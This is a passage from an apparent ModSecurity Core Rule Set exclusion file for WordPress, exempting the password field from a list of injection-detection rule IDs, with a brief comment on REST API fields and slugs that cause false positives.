ctl:ruleRemoveTargetById=930100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930110;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=930120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932125;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932130;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932250;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932270;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932280;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932330;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932340;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932370;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=932380;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933135;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=933210;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941120;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941160;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=941180;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942100;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942151;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942190;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942230;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942290;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942320;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:json\.)?password$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:json\.)?password$/"
# Saving through the REST API, the JSON fields title, excerpt and name skip these
# rules. WordPress writes a slug such as htaccess or ls-la, so slug skips only